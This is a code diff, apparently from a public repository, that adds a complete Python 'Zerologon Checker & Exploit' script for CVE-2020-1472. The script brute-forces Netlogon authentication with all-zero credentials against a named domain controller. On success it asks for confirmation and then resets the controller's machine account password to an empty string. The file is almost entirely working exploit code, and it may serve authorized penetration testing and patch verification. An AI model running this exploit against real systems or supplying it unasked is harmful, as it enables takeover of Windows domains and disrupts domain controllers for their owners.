|
| 1 | +#!/usr/bin/env python3 |
| 2 | +""" |
| 3 | +Zerologon Checker & Exploit |
| 4 | +Paolo Stagno aka Voidsec (@Void_Sec) - https://voidsec.com |
| 5 | +Original script and research by Secura (Tom Tervoort) - https://www.secura.com/blog/zero-logon |
| 6 | +""" |
| 7 | +import argparse |
| 8 | +import sys |
| 9 | +import pyfiglet |
| 10 | +from impacket.dcerpc.v5 import nrpc, epm |
| 11 | +from impacket.dcerpc.v5 import transport |
| 12 | +from termcolor import cprint |
| 13 | + |
| 14 | +# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be necessary on average. |
| 15 | +MAX_ATTEMPTS = 2000 # False negative chance: 0.04% |
| 16 | + |
| 17 | + |
| 18 | +def main(): |
| 19 | + parser = argparse.ArgumentParser(prog="cve-2020-1472-exploit.py", |
| 20 | + description="Zerologon Checker & Exploit: Tests whether a domain controller is " |
| 21 | + "vulnerable to the Zerologon attack, if vulnerable, it will resets the DC's account password to an empty string.") |
| 22 | + parser.add_argument("-t", default=None, dest="dc_ip", required=True, help="Domain Controller's IP") |
| 23 | + parser.add_argument("-n", default=None, dest="dc_name", required=True, |
| 24 | + help="NetBIOS' name of the Domain Controller") |
| 25 | + args = parser.parse_args() |
| 26 | + dc_name = args.dc_name.rstrip("$") |
| 27 | + dc_ip = args.dc_ip |
| 28 | + perform_attack("\\\\" + dc_name, dc_ip, dc_name) |
| 29 | + |
| 30 | + |
| 31 | +def err(msg): |
| 32 | + cprint("[!] " + msg, "red") |
| 33 | + |
| 34 | + |
| 35 | +def try_zero_authenticate(dc_handle, dc_ip, target_computer): |
| 36 | + # Connect to the DC's Netlogon service. |
| 37 | + binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") |
| 38 | + rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() |
| 39 | + rpc_con.connect() |
| 40 | + rpc_con.bind(nrpc.MSRPC_UUID_NRPC) |
| 41 | + |
| 42 | + # Use an all-zero challenge and credential. |
| 43 | + plaintext = b"\x00" * 8 |
| 44 | + ciphertext = b"\x00" * 8 |
| 45 | + |
| 46 | + # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. |
| 47 | + flags = 0x212fffff |
| 48 | + |
| 49 | + # Send challenge and authentication request. |
| 50 | + nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext) |
| 51 | + try: |
| 52 | + server_auth = nrpc.hNetrServerAuthenticate3( |
| 53 | + rpc_con, dc_handle + "\x00", target_computer + "$\x00", |
| 54 | + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, |
| 55 | + target_computer + "\x00", ciphertext, flags |
| 56 | + ) |
| 57 | + |
| 58 | + # It worked! |
| 59 | + assert server_auth["ErrorCode"] == 0 |
| 60 | + return rpc_con |
| 61 | + |
| 62 | + except nrpc.DCERPCSessionError as ex: |
| 63 | + # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. |
| 64 | + if ex.get_error_code() == 0xc0000022: |
| 65 | + return None |
| 66 | + else: |
| 67 | + err("Unexpected error code returned from DC: {}".format(ex.get_error_code())) |
| 68 | + except BaseException as ex: |
| 69 | + err("Unexpected error: {}".format(ex)) |
| 70 | + |
| 71 | + |
| 72 | +def try_zerologon(dc_handle, rpc_con, target_computer): |
| 73 | + """ |
| 74 | + Authenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5, that contains the encrypted |
| 75 | + logon credential and a time stamp. |
| 76 | +
|
| 77 | + typedef struct _NETLOGON_AUTHENTICATOR { |
| 78 | + NETLOGON_CREDENTIAL Credential; |
| 79 | + DWORD Timestamp; |
| 80 | + } |
| 81 | +
|
| 82 | + Timestamp: An integer value that contains the time of day at which the client constructed this authentication |
| 83 | + credential, represented as the number of elapsed seconds since 00:00:00 of January 1, 1970. |
| 84 | + The authenticator is constructed just before making a call to a method that requires its usage. |
| 85 | +
|
| 86 | + typedef struct _NETLOGON_CREDENTIAL { |
| 87 | + CHAR data[8]; |
| 88 | + } |
| 89 | +
|
| 90 | + ClearNewPassword: A NL_TRUST_PASSWORD structure, as specified in section 2.2.1.3.7, |
| 91 | + that contains the new password encrypted as specified in Calling NetrServerPasswordSet2 (section 3.4.5.2.5). |
| 92 | +
|
| 93 | + typedef struct _NL_TRUST_PASSWORD { |
| 94 | + WCHAR Buffer[256]; |
| 95 | + ULONG Length; |
| 96 | + } |
| 97 | +
|
| 98 | + ReturnAuthenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5, |
| 99 | + that contains the server return authenticator. |
| 100 | +
|
| 101 | + More info can be found on the [MS-NRPC]-170915.pdf |
| 102 | + """ |
| 103 | + request = nrpc.NetrServerPasswordSet2() |
| 104 | + request["PrimaryName"] = dc_handle + "\x00" |
| 105 | + request["AccountName"] = target_computer + "$\x00" |
| 106 | + request["SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel |
| 107 | + authenticator = nrpc.NETLOGON_AUTHENTICATOR() |
| 108 | + authenticator["Credential"] = b"\x00" * 8 |
| 109 | + authenticator["Timestamp"] = 0 |
| 110 | + request["Authenticator"] = authenticator |
| 111 | + request["ComputerName"] = target_computer + "\x00" |
| 112 | + request["ClearNewPassword"] = b"\x00" * 516 |
| 113 | + return rpc_con.request(request) |
| 114 | + |
| 115 | + |
| 116 | +def perform_attack(dc_handle, dc_ip, target_computer): |
| 117 | + banner = pyfiglet.figlet_format("Zerologon", "slant") |
| 118 | + cprint(banner, "green") |
| 119 | + cprint("Checker & Exploit by VoidSec\n", "white") |
| 120 | + # Keep authenticating until successful. Expected average number of attempts needed: 256. |
| 121 | + cprint("Performing authentication attempts...", "white") |
| 122 | + rpc_con = None |
| 123 | + for attempt in range(0, MAX_ATTEMPTS): |
| 124 | + rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer) |
| 125 | + |
| 126 | + if rpc_con is None: |
| 127 | + cprint(".", "magenta", end="", flush=True) |
| 128 | + else: |
| 129 | + break |
| 130 | + |
| 131 | + if rpc_con: |
| 132 | + cprint("\n[+] Success: Target is vulnerable!", "green") |
| 133 | + cprint("[-] Do you want to continue and exploit the Zerologon vulnerability? [N]/y", "yellow") |
| 134 | + exec_exploit = input().lower() |
| 135 | + if exec_exploit == "y": |
| 136 | + result = try_zerologon(dc_handle, rpc_con, target_computer) |
| 137 | + if result["ErrorCode"] == 0: |
| 138 | + cprint( |
| 139 | + "[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.", |
| 140 | + "green") |
| 141 | + else: |
| 142 | + err( |
| 143 | + "Exploit Failed: Non-zero return code, something went wrong. Domain Controller returned: {}".format( |
| 144 | + result["ErrorCode"])) |
| 145 | + else: |
| 146 | + err("Aborted") |
| 147 | + sys.exit(0) |
| 148 | + else: |
| 149 | + err("Exploit failed: target DC is probably patched.") |
| 150 | + sys.exit(1) |
| 151 | + |
| 152 | + |
| 153 | +if __name__ == "__main__": |
| 154 | + try: |
| 155 | + main() |
| 156 | + except KeyboardInterrupt: |
| 157 | + # Catch CTRL+C, it will abruptly kill the script, no cleanup |
| 158 | + err("CTRL+C, exiting...") |
| 159 | + sys.exit(1) |
0 commit comments